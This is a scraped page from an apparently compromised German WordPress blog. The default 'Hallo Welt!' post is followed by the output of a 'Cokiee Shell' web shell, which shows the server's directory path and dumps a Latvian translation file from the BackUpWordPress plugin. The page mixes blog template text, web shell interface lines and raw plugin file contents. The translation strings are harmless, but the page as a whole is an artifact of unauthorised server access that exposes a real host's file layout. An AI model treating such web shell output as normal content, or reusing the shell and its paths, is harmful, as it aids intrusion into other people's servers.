Willkommen bei WordPress. Dies ist dein erster Beitrag. Bearbeite oder lösche ihn und beginne mit dem Schreiben!
Hallo Welt!
von raredesign | Dez 3, 2019 | Allgemein | 0 Kommentare
Cokiee Shell
Current Path : /var/www/web23/html/wp-content/plugins/backupwordpress/languages/ |
Current File : //var/www/web23/html/wp-content/plugins/backupwordpress/languages/backupwordpress-lv_LV.po |
# Translation of 2.x in Latvian # This file is distributed under the same license as the 2.x package. msgid "" msgstr "" "PO-Revision-Date: 2015-07-18 15:51+0100\n" "MIME-Version: 1.0\n" "Content-Type: text/plain; charset=UTF-8\n" "Content-Transfer-Encoding: 8bit\n" "Plural-Forms: nplurals=3; plural=(n%10==1 && n%100!=11 ? 0 : n != 0 ? 1 : 2);\n" "X-Generator: Poedit 1.8.2\n" "Project-Id-Version: 2.x\n" "POT-Creation-Date: \n" "Last-Translator: \n" "Language-Team: \n" "Language: lv_LV\n" #: ../backupwordpress.php:119 msgid "BackUpWordPress requires PHP version %s or greater." msgstr "" #: ../admin/backups.php:100 msgid "This is where your backups will appear once you have some." msgstr "" #: ../admin/backups.php:120 msgid "% Backups Completed" msgstr "" #: ../admin/backups.php:122 msgid "No Backups Completed" msgstr "" #: ../admin/backups.php:124 msgid "1 Backup Completed" msgstr "" #: ../admin/enable-support.php:3 msgid "Enable BackUpWordPress Support" msgstr "" #: ../admin/enable-support.php:5 msgid "BackUpWordPress uses %s to provide support. In addition to allowing you to send and receive messages we also send the following server information along with your requests:" msgstr "" #: ../admin/enable-support.php:58 msgid "You can disable support in the future by deactivating BackUpWordPress." msgstr "" #: ../admin/enable-support.php:68 msgid "No thanks" msgstr "" #: ../admin/enable-support.php:70 msgid "Yes I want to enable support" msgstr "" #: ../admin/page.php:10 msgid "Support" msgstr "" #: ../admin/page.php:31 msgid "If you're finding BackUpWordPress useful, please %1$s rate it on the plugin directory. %2$s" msgstr "" #: ../admin/page.php:35 msgid "Wish you could store your backups in a safer place? Our %1$spremium extensions%2$s enable automatic backups to Dropbox, FTP, Google Drive and more." msgstr "" #: ../admin/schedule-form-excludes.php:19 msgid "Enter new exclude rules as a comma separated list, e.g. %s" msgstr "" #: ../admin/schedule-form.php:45 msgid "Past this limit older backups will be deleted automatically. This schedule will store a maximum of %s of backups" msgstr "" #: ../admin/schedule.php:78 msgid "store only the last backup on %s" msgstr "" #: ../admin/schedule.php:118 msgid "Backup my %1$s %2$s %3$s, %4$s. %5$s Send a copy of each backup to %6$s." msgstr "" #: ../classes/class-schedule.php:239 msgid "Argument 1 for %s must be a valid integer" msgstr "" #: ../classes/class-schedule.php:491 msgid "Argument 1 for %s must be a valid cron reoccurrence or \"manually\"" msgstr "" #: ../classes/class-schedule.php:811 msgid "Argument 1 for %s must be a non empty string" msgstr "" #: ../classes/class-schedule.php:815 msgid "%s dpesn't exist" msgstr "" #: ../classes/class-schedule.php:819 msgid "That backup wasn't created by this schedule" msgstr "" #: ../classes/class-services.php:252 msgid "Argument 1 for %s must be a valid filepath" msgstr "" #: ../classes/class-services.php:267 msgid "Argument 1 for %s must be a registered service" msgstr "" #: ../classes/class-services.php:284 msgid "Argument 1 for %s must be a valid class" msgstr "" #: ../functions/core.php:269 msgid "You can only delete directories inside your WordPress installation" msgstr "" #: ../admin/actions.php:508 msgid "Your backup completed but with the following errors / warnings, it's probably ok to ignore these." msgstr "" #: ../admin/actions.php:512 msgid "Your backup failed" msgstr "" #: ../classes/class-email.php:35 msgid "Receive a notification email when a backup completes, if the backup is small enough (< %s) then it will be attached to the email. Separate multiple email address's with a comma." msgstr "" #: ../classes/class-email.php:54 msgid "The maximum filesize of your backup that will be attached to your notification emails . Defaults to %s." msgstr "" #: ../admin/actions.php:520 msgid "You can email details of this error to %s so they can look into the issue." msgstr "" #: ../functions/core.php:246 msgid "Once Hourly" msgstr "" #: ../functions/core.php:247 msgid "Twice Daily" msgstr "" #: ../functions/core.php:248 msgid "Once Daily" msgstr "" #: ../functions/core.php:249 msgid "Once Weekly" msgstr "" #: ../functions/core.php:250 msgid "Once Fortnightly" msgstr "" #: ../functions/core.php:251 msgid "Once Monthly" msgstr "" #: ../admin/actions.php:524 msgid "Email to Support" msgstr "" #: ../admin/schedule-form-excludes.php:13 msgid "New Exclude Rule[s]" msgstr "" #: ../admin/actions.php:516 msgid "Here's the response from the server:" msgstr "" #: ../admin/page.php:33 msgid "If you need help getting things working then check the FAQ by clicking on help in the top right hand corner of this page." msgstr "" #: ../classes/class-schedule.php:609 ../functions/interface.php:261 msgid "Starting Backup" msgstr "" #: ../classes/class-schedule.php:686 msgid "Dumping Database %s" msgstr "" #: ../classes/class-schedule.php:691 msgid "Verifying Database Dump %s" msgstr "" #: ../classes/class-schedule.php:696 msgid "Creating zip archive %s" msgstr "" #: ../classes/class-schedule.php:701 msgid "Verifying Zip Archive %s" msgstr "" #: ../classes/class-schedule.php:706 msgid "Finishing Backup" msgstr "" #: ../classes/wp-cli.php:16 msgid "BackUpWordPress may not work when php is running with %s on" msgstr "" #: ../functions/interface.php:78 msgid "%1$s is running in %2$s, please contact your host and ask them to disable it. BackUpWordPress may not work correctly whilst %3$s is on." msgstr "" #: ../admin/constants.php:26 msgid "The time that your schedules should run. Defaults to %s." msgstr "Laiks, kurā tiek veiktas ik dienas rezerves kopija. Pēc noklusējuma: %s" #: ../backupwordpress.php:171 msgid "Are you sure you want to delete this schedule? All of it's backups will also be deleted." msgstr "Vai tiešām vēlaties izdzēst šo grafiku? Visas tā rezerves kopijas arī tiks izdzēstas." #: ../backupwordpress.php:171 ../backupwordpress.php:172 #: ../backupwordpress.php:173 ../backupwordpress.php:174 msgid "'Cancel' to go back, 'OK' to delete." msgstr "Spied 'Atcelt' lai dotos atpakaļ, vai 'OK', lai izdzēstu." #: ../backupwordpress.php:172 msgid "Are you sure you want to delete this backup?" msgstr "Vai tiešām vēlaties izdzēst šo rezerves kopiju? " #: ../backupwordpress.php:173 msgid "Are you sure you want to remove this exclude rule?" msgstr "Vai tiešām vēlaties izdzēst šos izņēmumus?" #: ../backupwordpress.php:174 msgid "Reducing the number of backups that are stored on this server will cause some of your existing backups to be deleted, are you sure that's what you want?" msgstr "Samazinot rezerves kopiju skaitu, cik tiek glabātas uz servera, varat pazaudēt jau saglabātās kopijas. Vai tiešām to vēlaties? " #: ../admin/actions.php:372 msgid "Max backups can't be empty" msgstr "Norādiet rezerves kopiju skaitu" #: ../admin/actions.php:378 msgid "Max backups must be greater than 0" msgstr "Maksimālais rezerves kopiju skaits ir jābūt lielākam par 0" #: ../admin/actions.php:486 msgid "Exclude" msgstr "Nav iekļauts" #: ../admin/schedule-form-excludes.php:44 msgid "default" msgstr "noklusētais" #: ../admin/schedule-form-excludes.php:48 msgid "defined" msgstr "noteiktais" #: ../admin/schedule-form.php:27 msgid "Manual Only" msgstr "Tikai manuāli" #: ../admin/schedule.php:4 msgid "this shouldn't take long…" msgstr "tam nevajadzētu aizņemt pārāk daudz laika…" #: ../admin/schedule.php:4 msgid "calculating the size of your site…" msgstr "mēram Jūsu mājas lapas lielumu…" #: ../admin/schedule.php:12 msgid "The next backup will be on %1$s at %2$s" msgstr "Nākamā rezerves kopija tiks veidota %1$s pulksten %2$s" #: ../admin/schedule.php:37 msgid "every 12 hours at %1$s & %2$s" msgstr "katras 12 stundas pulksten %1$s un %2$s" #: ../admin/schedule.php:43 msgid "weekly on %1$s at %2$s" msgstr "katru nedēļu %1$s pulksten %2$s" #: ../admin/schedule.php:49 msgid "fortnightly on %1$s at %2$s" msgstr "ik pa divām nedēļām %1$s pulksten %2$s" #: ../admin/schedule.php:56 msgid "on the %1$s of each month at %2$s" msgstr "katra mēneša %1$s datumā pulksten %2$s" #: ../admin/schedule.php:62 msgid "manually" msgstr "manuāli" #: ../admin/schedule.php:71 msgid "this server" msgstr "serveris" #: ../admin/schedule.php:84 msgid "don't store any backups on %s" msgstr "nesaglabāt nevienu rezerves kopiju %s" #: ../admin/schedule.php:90 msgid "store only the last %1$s backups on %2$s" msgstr "saglabāt tikai pēdējo %1$s rezerves kopiju %2$s" #: ../admin/schedule.php:120 msgid "Backup my %1$s %2$s %3$s, %4$s. %5$s" msgstr "Izveidot rezerves kopiju %1$s %2$s %3$s, %4$s. %5$s" #: ../classes/class-email.php:156 msgid "BackUpWordPress was unable to backup your site %1$s." msgstr "BackUpWordPress nevarēja izveidot rezerves kopiju Jūsu mājas lapai %1$s. " #: ../classes/class-email.php:156 msgid "Here are the errors that we're encountered:" msgstr "Kļūdas, kuras radās veidojot rezerves kopiju:" #: ../classes/class-email.php:156 msgid "If the errors above look like Martian, forward this email to %3$s and we'll take a look" msgstr "ja šis kļūdas paziņojums Jums liekas nesaprotams, pārsūtiet to uz epastu %3$s (angļu valodā) un mēs centīsimies palīdzēt. " #: ../classes/class-email.php:156 msgid "" "Kind Regards,\n" "The Apologetic BackUpWordPress Backup Emailing Robot" msgstr "" "Ar sveicieniem,\n" "BackUpWordPress Robots" #: ../classes/class-email.php:169 ../classes/class-email.php:178 msgid "BackUpWordPress has completed a backup of your site %1$s." msgstr "BackUpWordPress ir izveidojis rezerves kopiju Jūsu mājas lapai %1$s." #: ../classes/class-email.php:169 msgid "The backup file should be attached to this email." msgstr "Rezerves kopijai vajadzētu būtu epasta pielikumā." #: ../classes/class-email.php:169 ../classes/class-email.php:178 msgid "You can download the backup file by clicking the link below:" msgstr "Lai lejupielādētu izveidoto rezerves kopiju spiediet uz zemāk esošo saiti:" #: ../classes/class-email.php:169 ../classes/class-email.php:178 msgid "" "Kind Regards,\n" "The Happy BackUpWordPress Backup Emailing Robot" msgstr "" "Ar Sveicieniem,\n" "Priecīgais BackUpWordPress Robots" #: ../classes/class-email.php:178 msgid "Unfortunately the backup file was too large to attach to this email." msgstr "Diemžēl rezerves kopija bija pārāk liela, lai to nosūtītu epastā." #: ../classes/wp-cli.php:19 msgid "Backup: Dumping database..." msgstr "Veido rezerves kopiju datubāzei" #: ../classes/wp-cli.php:23 msgid "Backup: Zipping everything up..." msgstr "Veidojam zip arhīvu… " #: ../classes/wp-cli.php:38 msgid "Invalid backup path" msgstr "Nepareizs rezerves kopijas formāts" #: ../classes/wp-cli.php:43 msgid "Invalid root path" msgstr "Invalid root path" #: ../classes/wp-cli.php:68 msgid "Backup Complete: " msgstr "1 rezerves kopija izveidot" #: ../classes/wp-cli.php:71 msgid "Backup Failed" msgstr "Kļūda veidojot rezerves kopiju" #: ../functions/core.php:229 msgid "By default BackUpWordPress performs a daily backup of your database and a weekly backup of your database & files. You can modify these schedules." msgstr "BackUpWordPress pēc noklusējuma rezerves kopijas datubāzei veido katru dienu un katru nedēļu tas veido rezerves kopiju datubāzei un failiem. Zemāk Jūs varat mainīt šo grafiku." #: ../functions/interface.php:245 msgid "Legacy" msgstr "Legacy" #: ../functions/interface.php:67 msgid "Your backups directory isn't writable, run %1$s or %2$s or set the permissions yourself." msgstr "Izvēlētajai mapei rezerves kopiju saglabāšanai nav rakstīšanas tiesības. Palaidiet %1$s vai %2$s un uzstādiet nepieciešamās rakstīšanas tiesības." #: ../functions/interface.php:54 msgid "The backups directory can't be created because your %1$s directory isn't writable, run %2$s or %3$s or create the folder yourself." msgstr "Nepieciešamā mape netika izveidota, jo mapei %1$s nav nepieciešamās rakstīšanas tiesības. Palaidiet %2$s vai %3$s, vai izveidojiet šo mapi pats." #: ../functions/core.php:229 msgid "BackUpWordPress has setup your default schedules." msgstr "BackUpWordPress ir iestatījis Jūsu noklusētos grafikus." #: ../classes/class-email.php:154 msgid "Backup of %s Failed" msgstr "Rezerves kopija %s netika izveidota" #: ../classes/class-email.php:69 msgid "Send an email notification to %s" msgstr "Nosūtīt epasta paziņojumu uz %s" #: ../classes/class-email.php:100 msgid "%s isn't a valid email" msgstr "epasts %s ir norādīts nepareizi " #: ../admin/schedule.php:4 msgid "Backups will be compressed and should be smaller than this." msgstr "Rezerves kopija tiks saspiesta, tāpēc tā aizņems mazāk vietas." #: ../classes/class-email.php:31 msgid "Email notification" msgstr "Epasta paziņojumi" #: ../admin/schedule.php:19 msgid "hourly on the hour" msgstr "katru stundu" #: ../admin/schedule.php:25 msgid "daily at %s" msgstr "katru dienu pulksten %s" #: ../admin/schedule-form.php:41 msgid "Number of backups to store on this server" msgstr "Skaits, cik rezerves kopijas tiks glabātas uz servera." #: ../admin/schedule-form.php:7 msgid "Schedule Settings" msgstr "Rezerves Kopiju Uzstādījumi" #: ../admin/actions.php:523 ../admin/schedule-form-excludes.php:119 msgid "Close" msgstr "Aizvērt" #: ../admin/menu.php:69 msgid "The information below is for version %1$s. View the %2$s file for help specific to version %3$s." msgstr "Šī informācija attiecas uz versiju %1$s. Apskaties failu %2$s, lai iegūtu informāciju kas attiecas uz versiju %3$s." #: ../admin/constants.php:23 msgid "The root directory that is backed up. Defaults to %s." msgstr "Galvenā mape, kura tikai izveidota rezerves kopija. Pēc noklusējuma: %s" #: ../admin/constants.php:20 msgid "The capability to use when calling %1$s. Defaults to %2$s." msgstr "The capability to use when calling %1$s. Defaults to %2$s." #: ../admin/constants.php:14 msgid "The path to your %1$s executable. Will be used to zip up your %2$s and %3$s if available." msgstr "Tiks izmantos %1$s. Tas tiks izmantots lai arhivētu %2$s un %3$s ja tie būs pieejami." #: ../backupwordpress.php:132 msgid "BackUpWordPress requires WordPress version %s or greater." msgstr "BackUpWordPress nepieciešams WordPress %s vai jaunāka versija." #: ../backupwordpress.php:170 ../admin/actions.php:487 msgid "Cancel" msgstr "Atcelt" #: ../admin/constants.php:11 msgid "The path to your %1$s executable. Will be used for the %2$s part of the back up if available." msgstr "Tiks izmantots %1$s. Mēs izmantosim %2$s, lai veidotu rezerves kopiju, ja tas būs pieejams." #: ../admin/constants.php:8 ../admin/constants.php:11 #: ../admin/constants.php:14 ../admin/constants.php:17 #: ../admin/constants.php:20 ../admin/constants.php:23 #: ../admin/constants.php:26 ../classes/class-email.php:54 msgid "e.g." msgstr "Kā piemēram" #: ../admin/constants.php:3 msgid "You can %1$s any of the following %2$s in your %3$s to control advanced settings. %4$s. Defined %5$s will be highlighted." msgstr "Jūs vara %1$s ar jebkuru no šiem %2$s Jūsu %3$s, lai kontrolētu papildus uzstādījumus. %4$s. %5$s būs izcelti." #: ../admin/actions.php:250 ../admin/actions.php:256 msgid "%1$s is returning a %2$s response which could mean cron jobs aren't getting fired properly. BackUpWordPress relies on wp-cron to run scheduled back ups. See the %3$s for more details." msgstr "%1$s atgriež %2$s, kas varētu nozīmēt to, ka nestrādā 'cron jobs'. BackUpWordPress izmantot wp-cron, lai veiktu savus uzdevumus. Vairāk informāciju iegūsiet apskatot %3$s." #: ../functions/interface.php:78 msgid "http://php.net/manual/en/features.safe-mode.php" msgstr "http://php.net/manual/en/features.safe-mode.php" #: ../functions/interface.php:78 msgid "Safe Mode" msgstr "Drošais režīms" #: ../functions/interface.php:89 msgid "Your custom backups directory %1$s doesn't exist and can't be created, your backups will be saved to %2$s instead." msgstr "Jūsu izvēlētā mape %1$s neeksistē, tāpēc rezerves kopija tika saglabāta mapē %2$s" #: ../functions/interface.php:100 msgid "Your custom backups directory %1$s isn't writable, new backups will be saved to %2$s instead." msgstr "Jūsu izvēlētajā mapē %1$s nebija iespējams ierakstīt, tāpēc rezerves kopija tika saglabāta mapē \"%2$s." #: ../functions/interface.php:261 msgid "cancel" msgstr "atcelt" #: ../functions/interface.php:265 msgid "Settings" msgstr "Iestatījumi" #: ../functions/interface.php:268 msgid "Excludes" msgstr "Izņēmumi" #: ../functions/interface.php:29 msgid "Download" msgstr "Lejupielādēt" #: ../functions/interface.php:54 ../functions/interface.php:67 msgid "BackUpWordPress is almost ready." msgstr "BackUpWordPress ir gandrīz gatavs." #: ../functions/interface.php:111 msgid "BackUpWordPress detected issues with your last backup." msgstr "BackUpWordPress konstatēja problēmas ar Jūsu janāko rezerves kopiju." #: ../functions/interface.php:234 msgid "Database and Files" msgstr "Datubāzi un failus" #: ../functions/interface.php:240 msgid "Database" msgstr "Datubāze" #: ../admin/actions.php:250 ../admin/actions.php:256 #: ../functions/interface.php:78 ../functions/interface.php:89 #: ../functions/interface.php:100 msgid "BackUpWordPress has detected a problem." msgstr "BackUpWordPress ir konstatējis problēmas. " #: ../admin/actions.php:342 msgid "Backup type cannot be empty" msgstr "Norādiet rezerves kopijas veidu" #: ../admin/actions.php:345 msgid "Invalid backup type" msgstr "Nepareizs rezerves kopijas formāts" #: ../admin/actions.php:357 msgid "Schedule cannot be empty" msgstr "Grafiks nevar palikt tukšs" #: ../admin/actions.php:360 msgid "Invalid schedule" msgstr "Nesaderīgs grafiks" #: ../admin/actions.php:375 msgid "Max backups must be a number" msgstr "Maksimālajam rezerves kopiju skaitu jānorāda kā numuru" #: ../admin/actions.php:481 msgid "%s didn't match any files." msgstr "%s nesakrīt ar nevienu failu. " #: ../admin/backups.php:40 msgid "add schedule" msgstr "Pievienot grafiku" #: ../admin/backups.php:71 msgid "Size" msgstr "Izmērs" #: ../admin/backups.php:72 msgid "Type" msgstr "Veids" #: ../admin/backups.php:73 msgid "Actions" msgstr "Darbības" #: ../admin/constants.php:3 msgid "The Codex can help" msgstr "Codex var palīdzēt" #: ../admin/constants.php:8 msgid "The path to folder you would like to store your backup files in, defaults to %s." msgstr "Vieta kurā tiks glabātas Jūsu rezerves kopijas. Pēc noklusējuma: %s" #: ../admin/constants.php:11 ../admin/constants.php:14 msgid "database" msgstr "datubāze" #: ../admin/constants.php:14 msgid "files" msgstr "faili" #: ../admin/constants.php:17 msgid "Comma separated list of files or directories to exclude, the backups directory is automatically excluded." msgstr "Ar komatiem atdalīts saraksts ar mapēm, kuras netiks iekļautas rezerves kopijā. " #: ../admin/menu.php:10 ../admin/page.php:6 msgid "Manage Backups" msgstr "Pārvaldīt Rezerves Kopijas" #: ../admin/menu.php:10 ../admin/menu.php:34 msgid "Backups" msgstr "Rezerves kopijas" #: ../admin/menu.php:69 msgid "You are not using the latest stable version of BackUpWordPress" msgstr "Jūs neizmantojat jaunāko BackUpWordPress versiju." #: ../admin/menu.php:77 msgid "FAQ" msgstr "FAQ" #: ../admin/constants.php:3 ../admin/menu.php:79 msgid "Constants" msgstr "Konstantes" #: ../admin/menu.php:82 msgid "For more information:" msgstr "Vairāk informācijai:" #: ../admin/menu.php:84 msgid "Support Forums" msgstr "Atbalsta Forums" #: ../admin/menu.php:85 msgid "Help with translation" msgstr "Palīdzi ar tulkojumu" #: ../admin/page.php:27 msgid "You need to fix the issues detailed above before BackUpWordPress can start." msgstr "Jums nepieciešams salabot augstāk minētās problēmas, lai BackUpWordPress varētu sākt strādāt." #: ../admin/schedule-form-excludes.php:17 msgid "Preview" msgstr "Priekšskatījums" #: ../admin/schedule-form-excludes.php:29 msgid "Exclude Rules" msgstr "Izņēmumi" #: ../admin/schedule-form-excludes.php:52 msgid "Remove" msgstr "Izdzēst" #: ../admin/schedule-form-excludes.php:71 msgid "Excluded" msgstr "Nav iekļauts " #: ../admin/schedule-form-excludes.php:75 msgid "Included" msgstr "Iekļauts" #: ../admin/schedule-form-excludes.php:79 msgid "Unreadable" msgstr "Nenolasāms" #: ../admin/schedule-form-excludes.php:107 msgid "Unreadable files can't be backed up" msgstr "Failiem kurus nevar atvērt nav iespējams izveidot rezerves kopijas" #: ../admin/schedule-form-excludes.php:113 msgid "Your site is %s. Backups will be compressed and so will be smaller." msgstr "Jūsu mājas lapa aizņem %s. Rezerves kopija tiks saspiest, lai samazinātu tās izmēru." #: ../admin/schedule-form.php:11 msgid "Backup" msgstr "Ko saglabāt" #: ../admin/schedule-form.php:14 msgid "Both Database & files" msgstr "Gan datubāzi, gan failus" #: ../admin/schedule-form.php:15 msgid "Files only" msgstr "Tikai failus" #: ../admin/schedule-form.php:16 msgid "Database only" msgstr "Tikai datubāzi" #: ../functions/interface.php:237 msgid "Files" msgstr "Faili" #: ../admin/schedule-form-excludes.php:7 msgid "Manage Excludes" msgstr "Pārvaldīt izņēmumus" #: ../admin/schedule-form.php:23 msgid "Schedule" msgstr "Cik bieži" #: ../backupwordpress.php:169 ../admin/schedule-form.php:58 msgid "Update" msgstr "Atjaunināt" #: ../admin/schedule.php:19 msgid "hourly at %s minutes past the hour" msgstr "ik stundu, %s minūtes pāri" #: ../functions/interface.php:275 msgid "Run now" msgstr "Palaist tulīt" #: ../functions/interface.php:32 ../functions/interface.php:277 msgid "Delete" msgstr "Izdzēst" #: ../classes/class-email.php:164 msgid "Backup of %s" msgstr "Backup von %s" #: ../functions/core.php:334 msgid "This %s file ensures that other people cannot download your backup files." msgstr ""
Cokiee Shell Web 1.0, Coded By Razor
Neueste Kommentare